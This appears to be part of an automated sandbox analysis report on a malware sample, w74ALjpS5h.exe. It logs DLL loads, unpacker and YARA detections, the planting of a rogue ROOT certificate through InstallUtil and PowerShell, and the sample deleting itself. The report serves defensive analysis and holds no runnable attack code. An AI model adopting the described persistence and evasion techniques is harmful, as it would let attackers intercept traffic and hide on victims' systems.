Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: w74ALjpS5h.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: w74ALjpS5h.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2740442349.0000000000A00000.00000004.08000000.00040000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006D4B000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2740442349.0000000000A00000.00000004.08000000.00040000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006D4B000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.w74ALjpS5h.exe.6c208b8.11.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.w74ALjpS5h.exe.6c208b8.11.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.w74ALjpS5h.exe.6c208b8.11.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.w74ALjpS5h.exe.6c208b8.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.w74ALjpS5h.exe.6c208b8.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6ae9058.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6090000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6a99038.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6a99038.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.29edac4.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.29edac4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2788551771.0000000006A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2787706843.0000000006090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w74ALjpS5h.exe PID: 7608, type: MEMORYSTR

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_025508A9 push ss; retn 0000h	0_2_025508AA
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_02550901 push ss; retn 0000h	0_2_02550902
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A749F push 00000005h; ret	0_2_056A74B0
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_06A17109 push ecx; ret	0_2_06A1710C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0621C711 push es; ret	5_2_0621C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0621D413 push es; ret	5_2_0621D420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0621ECF2 push eax; ret	5_2_0621ED01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06213B4F push dword ptr [esp+ecx*2-75h]; ret	5_2_06213B53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_062149AB push FFFFFF8Bh; retf	5_2_062149AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03302C5C push 04B807BBh; retf	6_2_03302CDE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File deleted: c:\users\user\desktop\w74aljps5h.exe

Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
